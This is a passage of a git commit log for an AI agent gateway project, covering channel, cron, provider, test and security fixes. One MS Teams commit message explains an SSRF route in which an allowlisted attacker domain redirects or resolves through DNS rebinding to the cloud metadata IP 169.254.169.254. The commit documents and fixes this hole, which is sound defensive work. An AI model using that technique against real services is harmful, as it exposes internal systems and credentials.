earlier commits).

* fix: use structured readResponseText result in Gemini error path

readResponseText returns { text, truncated, bytesRead }, not a string.
The Gemini error handler was using the result object directly, which
would always be truthy and never fall through to res.statusText.
Align with Perplexity/xAI/Brave error patterns.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* style: fix import order and formatting after rebase onto main

* Web search: send Gemini API key via header

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-23 09:30:51 -05:00
Peter Steinberger
3f03cdea56 test: optimize redundant suites for faster runtime 2026-02-23 13:57:34 +00:00
Peter Steinberger
5196565f19 test: reduce trigger test redundancy and speed up model coverage 2026-02-23 13:41:47 +00:00
Nimrod Gutman
9d37654a90 fix(agents): gate auto reasoning by effective thinking level (openclaw#24335) thanks @Kay-051 2026-02-23 15:38:08 +02:00
Kay-051
42795b87a3 fix(agents): don't auto-enable reasoning when thinking is active (#24290)
When thinking is set (e.g. thinking=low), the model produces internal
thinking blocks. The reasoning auto-default (based on model capability)
was formatting these blocks as "Reasoning:" text and delivering them to
WhatsApp/Telegram, leaking internal content to users.

Skip auto-enabling reasoning when thinkLevel is already set — the two
features serve the same purpose and enabling both causes the model's
internal thinking to be exposed as visible chat messages.

Users who explicitly set /reasoning on still get reasoning output.

Closes #24290

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-23 15:38:08 +02:00
Peter Steinberger
89a4695020 test: consolidate shard tests for faster trigger/directive suites 2026-02-23 13:30:47 +00:00
Peter Steinberger
67bccc1fa0 test: merge allow-from trigger shard and dedupe inline cases 2026-02-23 13:18:03 +00:00
Peter Steinberger
f6ee1c99a7 test: merge thinking and queue directive shards 2026-02-23 13:11:39 +00:00
Peter Steinberger
c9fbcf39ee test: merge fuzzy model directive shards 2026-02-23 13:08:30 +00:00
Peter Steinberger
e048ed1efd test: merge elevated allowlist directive shard 2026-02-23 13:05:39 +00:00
Peter Steinberger
706c9ec729 test: consolidate directive behavior suites 2026-02-23 13:02:56 +00:00
Peter Steinberger
fbdb1b3e73 test: merge elevated status directive shards 2026-02-23 12:57:39 +00:00
Peter Steinberger
b11ff9f7dd test: collapse directive behavior shards 2026-02-23 12:54:52 +00:00
Peter Steinberger
be422a9d18 test: merge model picker tests into native command suite 2026-02-23 12:50:08 +00:00
Peter Steinberger
9757d2bb64 fix(agents): normalize strict openai-compatible turn ordering
Co-authored-by: liuwenyong1985 <48443240+liuwenyong1985@users.noreply.github.com>
2026-02-23 12:44:23 +00:00
Peter Steinberger
15e32c7341 fix(models): refresh Moonshot Kimi vision capabilities
Co-authored-by: manikv12 <mac1317@live.missouristate.edu>
2026-02-23 12:44:23 +00:00
Peter Steinberger
9bd04849ed fix(agents): detect Kimi model-token-limit overflows
Co-authored-by: Danilo Falcão <danilo@falcao.org>
2026-02-23 12:44:23 +00:00
Peter Steinberger
3640484e28 fix(agents): map Moonshot developer role compatibility
Co-authored-by: Sheng-Fu Chuang <sedernet@gmail.com>

# Conflicts:
#	CHANGELOG.md
2026-02-23 12:44:23 +00:00
Julia HeySalad
8897c9d53a ci: install pyyaml in skills-python job 2026-02-23 10:44:18 +00:00
Ayaan Zaidi
2247b81219 fix(auto-reply): hide direct-chat metadata without sender-id sentinel (openclaw#24373) thanks @jd316
Co-authored-by: jd316 <138361777+jd316@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
2026-02-23 15:25:31 +05:30
Gustavo Madeira Santana
c92c3ad224 Tests: isolate quick_validate stub and remove DS_Store 2026-02-23 03:25:37 -05:00
边黎安
a4c373935f fix(agents): fall back to agents.defaults.model when agent has no model config (#24210)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 0f272b1027
Co-authored-by: bianbiandashen <16240681+bianbiandashen@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-23 03:18:55 -05:00
Vincent Koc
db32677f1d Update CHANGELOG.md 2026-02-23 03:03:06 -05:00
taw0002
3c57bf4c85 fix: treat HTTP 502/503/504 as failover-eligible (timeout reason) (#21017)
* fix: treat HTTP 502/503/504 as failover-eligible (timeout reason)

When a model API returns 502 Bad Gateway, 503 Service Unavailable, or
504 Gateway Timeout, the error object carries the status code directly.
resolveFailoverReasonFromError() only checked 402/429/401/403/408/400,
so 5xx server errors fell through to message-based classification which
requires the status code to appear at the start of the error message.

Many API SDKs (Google, Anthropic) set err.status = 503 without prefixing
the message with '503', so the message classifier never matched and
failover never triggered — the run retried the same broken model.

Add 502/503/504 to the status-code branch, returning 'timeout' (matching
the existing behavior of isTransientHttpError in the message classifier).

Fixes #20999

* Changelog: add failover 502/503/504 note with credits

* Failover: classify HTTP 504 as transient in message parser

* Changelog: credit taw0002 and vincentkoc for failover fix

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-23 03:01:57 -05:00
Vincent Koc
07edadfa8a skill-creator: reject unclosed YAML frontmatter (#24289) 2026-02-23 02:51:51 -05:00
Frank Yang
f208518cb9 fix(config): keep write inputs immutable when using unsetPaths (#24134)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 951f8480c3
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-23 02:51:13 -05:00
Vincent Koc
0e28e50b45 fix(security): detect obfuscated commands that bypass allowlist filters (#24287)
* security(exec): add obfuscated command detector

* test(exec): cover obfuscation detector patterns

* security(exec): enforce obfuscation approval on gateway host

* security(exec): enforce obfuscation approval on node host

* test(exec): prevent obfuscation timeout bypass

* chore(changelog): credit obfuscation security fix
2026-02-23 02:50:06 -05:00
Henry Loenwind
7568ae52ce Typo (#24288) 2026-02-23 02:47:06 -05:00
Henry Loenwind
ad666c5f37 Fixed Discord channel name (#24281) 2026-02-23 02:37:45 -05:00
Vincent Koc
c8a62e1cea Skills/Python: harden script edge cases and add regression tests (#24277)
* Skill creator: skip self-including .skill output

* Skill creator tests: cover output-dir-inside-skill case

* Skill validator: parse frontmatter robustly across newlines

* Skill validator tests: add CRLF and malformed frontmatter coverage

* Model usage: require positive --days value

* Model usage tests: cover --days validation and filtering

* Nano banana: close input image handles after loading

* Skill validator: keep type hints compatible with older python

* Changelog: credit @vincentkoc for Python skills hardening
2026-02-23 02:34:23 -05:00
Glucksberg
36400df086 fix: pass agentDir to /compact command for agent-specific auth (#24133)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 4bb10ca78c
Co-authored-by: Glucksberg <80581902+Glucksberg@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-23 02:33:35 -05:00
Vignesh Natarajan
9ea740afb6 Sessions: canonicalize mixed-case session keys 2026-02-22 23:27:08 -08:00
Vincent Koc
1be8897339 Security: enforce pre-commit security checks in hooks and CI (#24265)
* chore(pre-commit): add security audit hooks

* ci(security): enforce security hooks in ci

* docs(changelog): add security hooks and ci attribution
2026-02-23 02:20:00 -05:00
Vincent Koc
4ab4754bdf chore(changelog): credit skill packager hardening follow-up 2026-02-23 02:09:05 -05:00
Vincent Koc
844924cf8d fix(skill-creator): harden skill packaging path handling (#24260)
* fix(skill-creator): skip symlinks during skill packaging

* test(skill-creator): cover symlink skipping and root-escape guard
2026-02-23 02:07:36 -05:00
Vignesh Natarajan
8d9d01447e chore: align plugin versions and harden outbound cross-provider test 2026-02-22 23:04:17 -08:00
Vignesh Natarajan
5a0eb695fa chore: format pre-commit config for CI 2026-02-22 22:54:44 -08:00
Vincent Koc
76dabd5214 CI/Skills: add Python lint and test harness for skills scripts (#24246)
* CI: add skills Python checks job

* Chore: add Python lint and test pre-commit hooks

* Tests: fix skill-creator package test import path

* Chore: add Python tooling config for skills scripts

* CI: run all skills Python tests

* Chore: run all skills Python tests in pre-commit

* Chore: enable pytest discovery for all skills tests

* Changelog: note skills Python quality harness
2026-02-23 01:52:00 -05:00
Vignesh Natarajan
de96f5fed2 CLI/Sessions: honor default agent for implicit store path 2026-02-22 22:47:10 -08:00
Vincent Koc
af4330ef75 Update CHANGELOG.md 2026-02-23 01:44:53 -05:00
Misha Kolesnik
ec1bc41cf2 fix(openrouter): remove conflicting reasoning_effort from payload (#24120)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: cc8ef4bb05
Co-authored-by: tenequm <22403766+tenequm@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-23 01:41:29 -05:00
CornBrother0x
f3adf142c1 fix(security): escape user input in HTML gallery to prevent stored XSS (#16958)
* Security/openai-image-gen: escape HTML gallery user input

* Tests/openai-image-gen: add gallery XSS regression coverage

* Changelog: add openai-image-gen XSS hardening note

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-23 01:39:58 -05:00
Vignesh Natarajan
5ad5ea53cd Agent: resolve resumed session agent scope before run 2026-02-22 22:38:05 -08:00
brandonwise
7fab4d128a fix(security): redact sensitive data in OTEL log exports (CWE-532) (#18182)
* fix(security): redact sensitive data in OTEL log exports (CWE-532)

The diagnostics-otel plugin exports ALL application logs to external
OTLP collectors without filtering. This leaks API keys, tokens, and
other sensitive data to third-party observability platforms.

Changes:
- Export redactSensitiveText from plugin-sdk for extension use
- Apply redaction to log messages before OTEL export
- Apply redaction to string attribute values
- Add tests for API key and token redaction

The existing redactSensitiveText function handles common patterns:
- API keys (sk-*, ghp_*, gsk_*, AIza*, etc.)
- Bearer tokens
- PEM private keys
- ENV-style assignments (KEY=value)
- JSON credential fields

Fixes #12542

* fix: also redact error/reason in trace spans

Address Greptile feedback:
- Redact evt.error in webhook.error span attributes and status
- Redact evt.reason in message.processed span attributes
- Redact evt.error in message.processed span status

* fix: handle undefined evt.error in type guard

* fix: redact session.state reason in OTEL metrics

Addresses Greptile feedback - session.state reason field now goes
through redactSensitiveText() like message.processed reason.

* test(diagnostics-otel): update service context for stateDir API change

* OTEL diagnostics: redact sensitive values before export

* OTEL diagnostics tests: cover message, attribute, and session reason redaction

* Changelog: note OTEL sensitive-data redaction fix

* Changelog: move OTEL redaction entry to current unreleased

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-23 01:35:32 -05:00
Ayaan Zaidi
61db3d4a16 fix(protocol): regenerate swift gateway models 2026-02-23 11:52:42 +05:30
Ayaan Zaidi
86fcca2352 fix(gateway): annotate connection test mocks 2026-02-23 11:47:27 +05:30
Ayaan Zaidi
fda98f5605 docs(changelog): add telegram topic target fix 2026-02-23 11:45:18 +05:30
Ayaan Zaidi
d5105ca456 fix(telegram): unify topic target normalization path 2026-02-23 11:45:18 +05:30
Ayaan Zaidi
fddc60d174 fix(telegram): preserve legacy prefixed messaging targets 2026-02-23 11:45:18 +05:30
Ayaan Zaidi
bf732b88e7 test(cron): avoid delivery.mode type widening in isolated announce test 2026-02-23 11:45:18 +05:30
Ayaan Zaidi
118611465c test(gateway): make strict-delivery bestEffort case deterministic 2026-02-23 11:45:18 +05:30
Ayaan Zaidi
d589b3a95c test(gateway): clear agentCommand mock before strict bestEffort assert 2026-02-23 11:45:18 +05:30
Ayaan Zaidi
03122e5933 fix(cron): preserve telegram announce target + delivery truth 2026-02-23 11:45:18 +05:30
Ayaan Zaidi
dcc52850c3 fix: persist resolved telegram delivery targets at runtime 2026-02-23 11:45:18 +05:30
Tak Hoffman
35fbf26d24 Gateway: suppress tools.catalog plugin conflict diagnostics 2026-02-23 00:05:57 -06:00
Tak Hoffman
9e1a13bf4c Gateway/UI: data-driven agents tools catalog with provenance (openclaw#24199) thanks @Takhoffman
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- gh pr checks 24199 --watch --fail-fast

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-22 23:55:59 -06:00
Peter Steinberger
1c753ea786 test: dedupe fixtures and test harness setup 2026-02-23 05:45:54 +00:00
Peter Steinberger
8af19ddc5b refactor: extract shared dedupe helpers for runtime paths 2026-02-23 05:43:43 +00:00
Peter Steinberger
9f508056d3 test: collapse remaining trigger command shards 2026-02-23 05:22:24 +00:00
Peter Steinberger
d90e9f561f test: merge overlapping trigger-handling suites 2026-02-23 05:19:23 +00:00
Peter Steinberger
af547ec52c test: consolidate trigger-handling suites 2026-02-23 05:15:35 +00:00
Evgeny Zislis
78f801e243 Validate Telegram delivery targets to reject invalid formats (#21930)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 02c9b1c3dd
Co-authored-by: kesor <7056+kesor@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-23 10:44:46 +05:30
Peter Steinberger
23598e0e3a test: prune redundant abort case and speed stream cap test 2026-02-23 05:06:34 +00:00
Tak Hoffman
77c3b142a9 Web UI: add full cron edit parity, all-jobs run history, and compact filters (openclaw#24155) thanks @Takhoffman
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-22 23:05:42 -06:00
Peter Steinberger
610863e733 test: speed up long-running async suites 2026-02-23 05:03:15 +00:00
Peter Steinberger
48f327c206 test: consolidate redundant suites and speed attachment tests 2026-02-23 04:55:43 +00:00
Peter Steinberger
86a8b65e9d test: consolidate redundant suites and speed up timers 2026-02-23 04:44:42 +00:00
Peter Steinberger
a6a2a9276e test: reduce exec timer test runtime 2026-02-23 04:25:00 +00:00
Peter Steinberger
384a161bbc test: consolidate media auto-detect coverage 2026-02-23 04:25:00 +00:00
Peter Steinberger
a53062ae3b refactor(test): deduplicate isolated agent cron test helpers 2026-02-23 04:20:41 +00:00
Peter Steinberger
382fe8009a refactor!: remove google-antigravity provider support 2026-02-23 05:20:14 +01:00
Peter Steinberger
558a0137bb chore(release): bump versions to 2026.2.23 2026-02-23 05:13:46 +01:00
Tak Hoffman
a54dc7fe80 Cron: suppress fallback main summary for delivery-target errors (openclaw#24074) thanks @Takhoffman
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-22 20:24:08 -06:00
Tak Hoffman
457835b104 Compaction: count only completed auto-compactions (#24056)
* Compaction: count only completed auto-compactions

* Compaction: count only non-retry completions

* Changelog: note completed-only compaction counting

* Agents/Compaction: guard optional compaction increment
2026-02-22 20:16:45 -06:00
Tak Hoffman
05691be511 Compaction: ignore tool result details in oversized checks (#24057)
* Compaction: ignore tool result details in oversized checks

* Tests/Compaction: type estimateTokens message callback
2026-02-22 20:13:59 -06:00
Tak Hoffman
5c9f9722af Agent runner: align compaction floor guidance (#24059) 2026-02-22 20:13:43 -06:00
Tak Hoffman
50c5f75904 Compaction: sanitize token split accounting (#24058)
* Compaction: sanitize token split accounting

* Tests/Compaction: type sanitize token estimate callback
2026-02-22 20:13:21 -06:00
Tak Hoffman
259d863353 Gateway: harden cron.runs jobId path handling (openclaw#24038) thanks @Takhoffman
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-22 19:35:26 -06:00
Peter Steinberger
45febecf2a fix(exec): keep implicit sandbox default and restore no-alert baseline 2026-02-23 02:17:43 +01:00
Tak Hoffman
f6c2e99f5d Cron: preserve due jobs after manual runs (#23994) 2026-02-22 19:02:05 -06:00
Peter Steinberger
bac26b4472 chore(release): bump version to 2026.2.22-1 2026-02-23 01:59:52 +01:00
Vignesh Natarajan
a10ec2607f Gateway/Chat UI: sanitize untrusted wrapper markup in final payloads 2026-02-22 16:53:54 -08:00
Peter Steinberger
b482da8c9a chore: update appcast for 2026.2.22 beta.1 2026-02-23 01:52:53 +01:00
Peter Steinberger
80f430c2be fix(daemon): extend restart health timeout and improve restart errors 2026-02-23 01:50:02 +01:00
Peter Steinberger
278331c49c fix(exec): restore sandbox as implicit host default 2026-02-23 01:48:24 +01:00
Tak Hoffman
211ab9e4f6 Cron: persist manual run marker before unlock (#23993)
* Cron: persist manual run marker before unlock

* Cron tests: relax wakeMode now microtask wait after run lock persist
2026-02-22 18:39:37 -06:00
SleuthCo.AI
9c87b53c8e security(cli): redact sensitive values in config get output (#23654)
* security(cli): redact sensitive values in config get output

`runConfigGet()` reads raw config values but never applies redaction
before printing. When a user runs `openclaw config get gateway.token`
the real credential is printed to the terminal, leaking it into shell
history, scrollback buffers, and screenshots.

Use the existing `redactConfigObject()` (from redact-snapshot.ts,
already used by the Web UI path) to scrub sensitive fields before
`getAtPath()` resolves the requested key.

Fixes #13683

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* CLI/Config: add redaction regression test and changelog

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 19:37:33 -05:00
Vignesh Natarajan
f0542df9f0 Docker: precreate identity dir in docker setup 2026-02-22 16:33:53 -08:00
Peter Steinberger
70dd6a30e7 chore(synology-chat): allow npm publish for plugin package 2026-02-23 01:30:36 +01:00
Peter Steinberger
b19a6ee62d docs(changelog): move mistral to top and add synology chat 2026-02-23 01:25:22 +01:00
Peter Steinberger
cc8e6e9939 fix(synology-chat): align docs metadata and declare runtime deps 2026-02-23 01:24:51 +01:00
Peter Steinberger
0371646a61 test: fix msteams shared attachment fetch mock typing 2026-02-23 00:19:40 +00:00
Peter Steinberger
60c494c024 test: tighten mistral media and onboarding coverage 2026-02-23 00:19:05 +00:00
Phineas1500
8a8faf066e doctor: clean up legacy Linux gateway services (#21188)
* Doctor: clean up legacy Linux gateway services

* doctor: refactor legacy service cleanup flow

* doctor: fix legacy systemd cleanup map key typing

* doctor: add changelog entry for legacy Linux service cleanup

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 19:18:59 -05:00
Peter Steinberger
1c2c7843a8 docs: add synology channel docs and fix unreleased changelog 2026-02-23 01:16:05 +01:00
Phineas1500
320b62265d fix(models): synthesize antigravity Gemini 3.1 pro high/low models (#22899)
* Models: add antigravity Gemini 3.1 forward-compat

* models: propagate availability to Gemini 3.1 dot IDs

* test(models): format Gemini 3.1 forward-compat test

* test(models): type Gemini 3.1 forward-compat fixtures

* models: add changelog note for antigravity gemini 3.1 forward-compat

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 19:11:39 -05:00
Vignesh Natarajan
5c7c37a02a Agents: infer auth-profile unavailable failover reason 2026-02-22 16:10:32 -08:00
Phineas1500
331b728b8d fix(tui): add OSC 8 hyperlinks for wrapped URLs (#17814)
* feat(tui): add OSC 8 hyperlinks to make wrapped URLs clickable

Long URLs that exceed terminal width get broken across lines by pi-tui's
word wrapping, making them unclickable. Post-process rendered markdown
output to add OSC 8 terminal hyperlink sequences around URL fragments,
so each line fragment links to the full URL. Gracefully degrades on
terminals without OSC 8 support.

* tui: harden OSC8 URL extraction and prefix resolution

* tui: add changelog entry for OSC 8 markdown hyperlinks

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 19:09:07 -05:00
Vincent Koc
d92ba4f8aa feat: Provider/Mistral full support for Mistral on OpenClaw 🇫🇷 (#23845)
* Onboard: add Mistral auth choice and CLI flags

* Onboard/Auth: add Mistral provider config defaults

* Auth choice: wire Mistral API-key flow

* Onboard non-interactive: support --mistral-api-key

* Media understanding: add Mistral Voxtral audio provider

* Changelog: note Mistral onboarding and media support

* Docs: add Mistral provider and onboarding/media references

* Tests: cover Mistral media registry/defaults and auth mapping

* Memory: add Mistral embeddings provider support

* Onboarding: refresh Mistral model metadata

* Docs: document Mistral embeddings and endpoints

* Memory: persist Mistral embedding client state in managers

* Memory: add regressions for mistral provider wiring

* Gateway: add live tool probe retry helper

* Gateway: cover live tool probe retry helper

* Gateway: retry malformed live tool-read probe responses

* Memory: support plain-text batch error bodies

* Tests: add Mistral Voxtral live transcription smoke

* Docs: add Mistral live audio test command

* Revert: remove Mistral live voice test and docs entry

* Onboard: re-export Mistral default model ref from models

* Changelog: credit joeVenner for Mistral work

* fix: include Mistral in auto audio key fallback

* Update CHANGELOG.md

* Update CHANGELOG.md

---------

Co-authored-by: Shakker <shakkerdroid@gmail.com>
2026-02-23 00:03:56 +00:00
yinghaosang
a66b98a9da fix(plugins): hook systemPrompt gets collected then thrown away (#14583) (#14602)
* fix(plugins): apply before_agent_start hook systemPrompt to session (#14583)

* fix(plugins): apply legacy systemPrompt override and add changelog credit

---------

Co-authored-by: yinghaosang <yinghaosang@users.noreply.github.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 18:58:21 -05:00
Peter Steinberger
970062872f chore: remove deprecated npm allow-build-scripts config 2026-02-23 00:51:00 +01:00
Peter Steinberger
14c54e6501 fix(reasoning): persist off override for discord directives 2026-02-23 00:50:13 +01:00
Peter Steinberger
f79e3d5f03 fix(agents): remove synthetic done fallback reply 2026-02-23 00:50:00 +01:00
Vignesh Natarajan
1000ff04ea fix(memory): hard-cap embedding inputs before batch 2026-02-22 15:40:18 -08:00
Aether AI
d306fc8ef1 fix(security): OC-07 redact session history credentials and enforce webhook secret (#16928)
* Security: refresh sessions history redaction patch

* tests: align sessions_history redaction-only truncation expectation

* Changelog: credit sessions history security hardening

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 18:29:40 -05:00
Tak Hoffman
3efe63d1ad Cron: respect aborts in main wake-now retries (#23967)
* Cron: respect aborts in main wake-now retries

* Changelog: add main-session cron abort retry fix note

* Cron tests: format post-rebase conflict resolution
2026-02-22 17:19:27 -06:00
Tak Hoffman
9bc265f379 Cron: clean run-log write queue entries (#23968)
* Cron: clean run-log write queue entries

* Changelog: add cron run-log write-queue cleanup note
2026-02-22 17:16:42 -06:00
Johann Zahlmann
22c9018303 WhatsApp: enforce allowFrom for explicit outbound sends (#20921)
* whatsapp: enforce allowFrom in explicit outbound mode

* Update CHANGELOG.md

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 18:13:23 -05:00
Vignesh Natarajan
d7747148d0 fix(memory): reindex when sources change 2026-02-22 15:12:07 -08:00
Robin Waslander
44727dc3a1 security(web_fetch): strip hidden content to prevent indirect prompt injection (#21074)
* security(web_fetch): strip hidden content to prevent indirect prompt injection

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

* security(web_fetch): address review feedback and credit author

* chore(changelog): credit reporter for web_fetch security fix

---------

Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 18:10:26 -05:00
Tak Hoffman
73e5bb7635 Cron: apply timeout to startup catch-up runs (#23966)
* Cron: apply timeout to startup catch-up runs

* Changelog: add cron startup timeout catch-up note
2026-02-22 17:04:30 -06:00
Lewis
26644c4b89 fix(msteams): add SSRF protection to attachment downloads via redirect and DNS validation (#23598)
* fix(msteams): add SSRF protection to attachment downloads via redirect and DNS validation

The attachment download flow in fetchWithAuthFallback() followed
redirects automatically on the initial fetch without any allowlist
or IP validation. This allowed DNS rebinding attacks where an
allowlisted domain (e.g. evil.trafficmanager.net) could redirect
or resolve to a private IP like 169.254.169.254, bypassing the
hostname allowlist entirely (issue #11811).

This commit adds three layers of SSRF protection:

1. safeFetch() in shared.ts: a redirect-safe fetch wrapper that uses
   redirect: "manual" and validates every redirect hop against the
   hostname allowlist AND DNS-resolved IP before following it.

2. isPrivateOrReservedIP() + resolveAndValidateIP() in shared.ts:
   rejects RFC 1918, loopback, link-local, and IPv6 private ranges
   for both initial URLs and redirect targets.

3. graph.ts SharePoint redirect handling now also uses redirect:
   "manual" and validates resolved IPs, not just hostnames.

The initial fetch in fetchWithAuthFallback now goes through safeFetch
instead of a bare fetch(), ensuring redirects are never followed
without validation.

Includes 38 new tests covering IP validation, DNS resolution checks,
redirect following, DNS rebinding attacks, redirect loops, and
protocol downgrade blocking.

* fix: address review feedback on SSRF protection

- Replace hand-rolled isPrivateOrReservedIP with SDK's isPrivateIpAddress
  which handles IPv4-mapped IPv6, expanded notation, NAT64, 6to4, Teredo,
  octal IPv4, and fails closed on parse errors
- Add redirect: "manual" to auth retry redirect fetch in download.ts to
  prevent chained redirect attacks bypassing SSRF checks
- Add redirect: "manual" to SharePoint redirect fetch in graph.ts to
  prevent the same chained redirect bypass
- Update test expectations for SDK's fail-closed behavior on malformed IPs
- Add expanded IPv6 loopback (0:0:0:0:0:0:0:1) test case

* fix: type fetchMock as typeof fetch to fix TS tuple index error

* msteams: harden attachment auth and graph redirect fetch flow

* changelog(msteams): credit redirect-safeFetch hardening contributors

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 18:00:54 -05:00
Vignesh Natarajan
a58b40e153 chore(test): stabilize mcporter assertions on Windows 2026-02-22 14:47:50 -08:00
Vignesh Natarajan
82d34b4b06 fix(memory): harden qmd collection recovery 2026-02-22 14:40:04 -08:00
Peter Steinberger
5858de6078 docs: reorder 2026.2.22 changelog by user impact 2026-02-22 23:37:44 +01:00
Peter Steinberger
84e5ab598a fix: make windows CI path handling deterministic 2026-02-22 22:34:49 +00:00
Peter Steinberger
3b0e62d5bf fix(doctor): warn that approvals.exec.enabled only disables forwarding
Co-authored-by: nomadonwheels196 <nomadonwheels196@users.noreply.github.com>
2026-02-22 23:33:15 +01:00
Peter Steinberger
a30f9c8673 fix(sandbox): fallback docker user to workspace owner uid/gid
Co-authored-by: LucasAIBuilder <LucasAIBuilder@users.noreply.github.com>
2026-02-22 23:33:15 +01:00
Peter Steinberger
394a1af70f fix(exec): apply per-agent exec defaults for opaque session keys
Co-authored-by: brin-tapcart <brin-tapcart@users.noreply.github.com>
2026-02-22 23:33:14 +01:00
Peter Steinberger
427b4360b9 build: update deps and stabilize tests 2026-02-22 23:32:38 +01:00
Peter Steinberger
a5917e4ad8 test(exec): resolve rebase artifact in bash-tools test 2026-02-22 22:25:47 +00:00
Peter Steinberger
1d8968c8a8 fix(voice-call): harden media stream pre-start websocket handling 2026-02-22 23:25:32 +01:00
Vignesh Natarajan
1ad9f9af5a fix(memory): resolve qmd Windows shim commands 2026-02-22 14:24:49 -08:00
Peter Steinberger
cd919ebd2d refactor(exec): unify wrapper resolution and split approvals tests 2026-02-22 23:20:09 +01:00
mudrii
3645420a33 perf: skip cache-busting for bundled hooks, use mtime for workspace hooks (openclaw#16960) thanks @mudrii
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: mudrii <220262+mudrii@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-22 16:14:51 -06:00
Peter Steinberger
84303f6a78 test: make exec timeout coverage deterministic 2026-02-22 22:14:01 +00:00
Peter Steinberger
13db0b88f5 refactor(gateway): share safe avatar file open checks 2026-02-22 23:12:45 +01:00
Peter Steinberger
7b229decdd test(perf): dedupe fixtures and reduce flaky waits 2026-02-22 22:06:01 +00:00
Peter Steinberger
b534dfa3e0 fix(slack,web): harden thread hints and monitor tuning 2026-02-22 22:06:01 +00:00
Peter Steinberger
57b75678d4 test(security): consolidate runtime guardrail scans 2026-02-22 22:06:01 +00:00
Peter Steinberger
fe58839ed1 docs(changelog): thank ghsa reporter for exec fix 2026-02-22 23:04:29 +01:00
Peter Steinberger
498138e77e docs(changelog): record avatar security hardening 2026-02-22 23:04:23 +01:00
Peter Steinberger
9a6a4131ba docs(changelog): note shell-wrapper line-continuation exec hardening 2026-02-22 23:03:53 +01:00
Peter Steinberger
c677be9d5f fix(exec): skip default timeout for background sessions 2026-02-22 23:03:44 +01:00
Peter Steinberger
4b0fddc075 fix(test): prevent env leak causing models.json CI flake 2026-02-22 22:00:44 +00:00
Peter Steinberger
862975507a refactor(exec): split command resolution and trusted-dir normalization 2026-02-22 23:00:33 +01:00
Peter Steinberger
70cac824b1 perf(test): optimize parallel vitest worker budget 2026-02-22 21:59:22 +00:00
Peter Steinberger
24c954d972 fix(security): harden allow-always wrapper persistence 2026-02-22 22:55:33 +01:00
Peter Steinberger
4adfe80027 fix(extensions): preserve mediaLocalRoots in telegram/discord sendMedia 2026-02-22 22:53:57 +01:00
Peter Steinberger
1e582dcc6f fix: harden windows path handling in CI tests 2026-02-22 21:52:10 +00:00
Tak Hoffman
556af3f08b fix(cron): cancel timed-out runs before side effects (openclaw#22411) thanks @Takhoffman
Verified:
- pnpm check
- pnpm vitest run src/memory/qmd-manager.test.ts src/cron/service.issue-regressions.test.ts src/cron/isolated-agent.delivers-response-has-heartbeat-ok-but-includes.test.ts --maxWorkers=1

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-22 15:45:27 -06:00
Peter Steinberger
64b273a71c fix(exec): harden safe-bin trust and add explicit trusted dirs 2026-02-22 22:43:18 +01:00
Vignesh Natarajan
08fb38f729 Fix: resolve pnpm check type regressions 2026-02-22 13:40:51 -08:00
Peter Steinberger
6970c2c2db fix(gateway): harden control-ui avatar reads 2026-02-22 22:40:22 +01:00
